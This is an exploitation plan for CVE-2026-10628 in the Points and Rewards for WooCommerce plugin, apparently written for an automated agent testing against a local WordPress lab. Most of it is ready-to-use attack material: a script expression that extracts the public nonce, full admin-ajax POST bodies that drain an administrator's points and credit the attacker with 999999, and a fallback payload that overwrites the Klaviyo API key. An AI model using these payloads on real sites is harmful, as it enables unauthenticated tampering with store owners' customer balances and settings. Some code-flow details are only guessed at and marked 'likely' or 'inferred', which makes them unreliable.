Exploitation Research Plan - CVE-2026-10628

1. Vulnerability Summary

The Points and Rewards for WooCommerce plugin (<= 2.10.1) suffers from a critical missing authorization vulnerability. The plugin registers several AJAX handlers that perform sensitive operations—such as modifying user point balances, changing plugin settings, and exporting user data—without verifying the user's capabilities (e.g., current_user_can( 'manage_options' )).

Furthermore, the nonce required to authenticate these AJAX requests (wps-wpr-verify-nonce) is localized to every public-facing page, making it accessible to any visitor. Most critically, the action wps_wpr_points_update is registered via the wp_ajax_nopriv_ hook, allowing unauthenticated attackers to modify point balances for any user.

2. Attack Vector Analysis

• Endpoints: /wp-admin/admin-ajax.php
• Vulnerable Action: wps_wpr_points_update (confirmed in includes/class-points-rewards-for-woocommerce.php)
• Authentication: Unauthenticated (due to wp_ajax_nopriv_wps_wpr_points_update) or Subscriber-level.
• Preconditions:
  • The plugin must be active.
  • The attacker must obtain a valid nonce from the frontend.
• Payload Parameters:
  • action: wps_wpr_points_update
  • nonce: The value of the wps-wpr-verify-nonce.
  • id: Target User ID (e.g., 1 for admin).
  • points: Amount to add/subtract.
  • sign: + or -.
  • reason: A string for the log.

3. Code Flow

1. Registration: In includes/class-points-rewards-for-woocommerce.php, the method define_admin_hooks() registers the AJAX handlers:

   $this->loader->add_action( 'wp_ajax_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' );
   $this->loader->add_action( 'wp_ajax_nopriv_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' );
   

2. Localization: The Points_Rewards_For_WooCommerce_Admin::wps_wpr_admin_enqueue_scripts method (inferred) uses wp_localize_script() to export a nonce generated with the action string wps-wpr-verify-nonce.
3. Execution: When the AJAX request hits admin-ajax.php, the wps_wpr_points_update method in Points_Rewards_For_WooCommerce_Admin is called.
4. Sink: The handler likely uses check_ajax_referer('wps-wpr-verify-nonce', 'nonce') but omits any capability checks. It then proceeds to update user meta (wps_wpr_points) and create a log entry, as suggested by the Points_Log_List_Table class in admin/partials/templates/class-points-log-list-table.php.

4. Nonce Acquisition Strategy

The nonce is localized on all frontend pages. To retrieve it:

1. Navigate: Visit the WordPress homepage (unauthenticated).
2. Extract: Use browser_eval to find the localization object. Based on the developer's standard practices, the object is likely wps_wpr_admin_params or wps_wpr_common_params.
3. Command: browser_eval("window.wps_wpr_admin_params?.nonce || window.wps_wpr_common_params?.nonce")
4. Fallback: If specific objects are missing, search the global window object for any property containing a 10-character alphanumeric string associated with "nonce".

5. Exploitation Strategy

We will demonstrate unauthenticated point modification (draining the admin's points).

Step 1: Obtain Nonce

• Navigate to the site root: http://localhost:8888/
• Identify the nonce using browser_eval.

Step 2: Trigger Point Modification (Drain Points)

• Send a POST request to /wp-admin/admin-ajax.php.
• URL: http://localhost:8888/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=wps_wpr_points_update&nonce=[NONCE]&id=1&points=1000000&sign=-&reason=Exploit_CVE-2026-10628
  

Step 3: Trigger Point Modification (Grant Points to Self)

• Identify your own User ID (e.g., ID 2 for a subscriber).
• Body:

  action=wps_wpr_points_update&nonce=[NONCE]&id=2&points=999999&sign=+&reason=Rewards_Exploit
  

6. Test Data Setup

1. Plugin Installation: Ensure points-and-rewards-for-woocommerce v2.10.1 is installed.
2. Admin Points: Ensure the administrator (ID 1) has a point balance.
   • wp user meta update 1 wps_wpr_points 5000
3. Victim Setup: Create a dummy subscriber.
   • wp user create attacker attacker@example.com --role=subscriber --user_pass=password

7. Expected Results

• The AJAX request should return a JSON response (likely {"success": true, "data": "..."} or a simple string "Points are updated successfully").
• The database state for the target users must change.

8. Verification Steps

After the HTTP requests, verify using WP-CLI:

1. Check Admin Balance (should be 0 or negative):
   • wp user meta get 1 wps_wpr_points
2. Check Attacker Balance (should be 999999):
   • wp user meta get 2 wps_wpr_points
3. Check Logs:
   • Look for the remark in the wps_wpr_points_log table (or user meta logs).

9. Alternative Approaches

If wps_wpr_points_update is strictly protected by a capability check (contrary to the report), target the settings modification:

• Action: wps_wpr_save_klaviyo_settings (inferred from description).
• Goal: Overwrite the Klaviyo Public API Key.
• Payload: action=wps_wpr_save_klaviyo_settings&nonce=[NONCE]&wps_wpr_klaviyo_public_key=ATTACKER_KEY.
• Verification: wp option get wps_wpr_klaviyo_public_key.